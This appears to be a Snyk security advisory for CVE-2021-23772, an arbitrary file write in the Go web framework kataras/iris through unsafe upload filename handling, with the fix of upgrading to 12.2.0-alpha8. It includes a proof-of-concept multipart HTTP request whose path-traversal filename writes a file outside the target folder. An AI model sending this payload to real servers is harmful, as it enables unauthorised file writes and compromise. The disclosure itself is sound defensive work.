Arbitrary File Write Affecting github.com/kataras/iris package, versions <12.2.0-alpha8
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Test your applications- Snyk ID SNYK-GOLANG-GITHUBCOMKATARASIRIS-2325169
- published 23 Dec 2021
- disclosed 23 Dec 2021
- credit Snyk Security Team
Introduced: 23 Dec 2021
CVE-2021-23772 Open this link in a new tabHow to fix?
Upgrade github.com/kataras/iris to version 12.2.0-alpha8 or higher.
Overview
github.com/kataras/iris is a fast, simple yet fully featured and very efficient web framework for Go.
Affected versions of this package are vulnerable to Arbitrary File Write. The unsafe handling of file names during upload using UploadFormFiles method may enable attackers to write to arbitrary locations outside the designated target folder.
PoC by Snyk
Based on the upload-files example.
POST /upload HTTP/1.1
Host: localhost:8080
Content-Type: multipart/form-data; boundary=----xxx
Connection: close
Content-Length: 151
------xxx
Content-Disposition: form-data; name="uploadfile"; filename="..././..././malicious-file"
Content-Type: text/plain
pwned
------xxx--
Note: the vulnerability is only possible in Go < 1.7.5 due to unsafe net/http behaviour.